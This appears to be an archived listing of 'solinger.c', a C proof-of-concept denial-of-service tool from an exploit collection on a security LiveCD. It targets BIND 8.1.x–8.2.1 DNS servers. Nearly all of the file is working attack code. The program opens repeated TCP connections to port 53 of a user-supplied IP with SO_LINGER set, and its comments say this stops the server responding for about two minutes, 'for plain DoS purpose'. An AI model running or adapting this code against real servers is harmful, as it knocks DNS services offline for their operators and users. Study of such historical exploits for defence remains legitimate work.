home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / bind / solinger.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  70 lines

  1. /*
  2.  * "solinger" Denial Of Service - bind 8.1.*, 8.2, 8.2.1
  3.  * by Mixter <mixter@newyorkoffice.com> / members.tripod.com/mixtersecurity
  4.  *
  5.  * Impact: causes a bind8 server to stop responding to requests
  6.  *         for up to 120 seconds. Quick proof of concept of the
  7.  *         bug pointed out by ISC. (Might be handy while trying
  8.  *         to 'snoof' or for plain DoS purpose...)
  9.  */
  10.  
  11. #include <stdio.h>
  12. #include <string.h>
  13. #include <stdlib.h>
  14. #include <sys/socket.h>
  15. #include <sys/types.h>
  16. #include <netinet/in.h>
  17. #include <arpa/inet.h>
  18. #include <signal.h>
  19. #include <errno.h>
  20. #include <unistd.h>
  21. #include <fcntl.h>
  22.  
  23. #define DNS    53
  24. #define RETRY   10
  25.  
  26. int
  27. main (int argc, char **argv)
  28. {
  29.   struct linger l1ng3r;
  30.   int tsock, probe, i;
  31.   struct sockaddr_in target;
  32.  
  33.   if (argc != 2)
  34.     {
  35.       printf ("usage: %s <lame_dns's_ip>\n", argv[0]);
  36.       exit (0);
  37.     }
  38.   printf ("unbind - SO_LINGER bind DoS (c) Mixter\n");
  39.   printf ("sending to %s: ", argv[1]);
  40.   fflush (0);
  41.   for (i = 0; i < RETRY; i++)
  42.     {
  43.       tsock = socket (AF_INET, SOCK_STREAM, 0);
  44.       l1ng3r.l_onoff = 1;
  45.       if (setsockopt (tsock, SOL_SOCKET, SO_LINGER, (void *) &l1ng3r, sizeof (l1ng3r)) < 0)
  46.         {
  47.           perror ("setsockopt");
  48.           exit (0);
  49.         }
  50.  
  51.       target.sin_family = AF_INET;
  52.       target.sin_port = htons (DNS);
  53.       target.sin_addr.s_addr = inet_addr (argv[1]);
  54.       if (target.sin_addr.s_addr == -1)
  55.         {
  56.           printf ("invalid ip '%s', dufus!\n", argv[1]);
  57.           exit (0);
  58.         }
  59.  
  60.       bzero (&target.sin_zero, 8);
  61.       probe = connect (tsock, (struct sockaddr *) &target, sizeof (struct sockaddr));
  62.       if (probe == 0)
  63.         printf (".");
  64.       close (tsock);
  65.       fflush (0);
  66.     }
  67.   printf ("done (should not be responding for 2 minutes)\n");
  68.   return 0;
  69. }
  70. /*                    www.hack.co.za              [2000]*/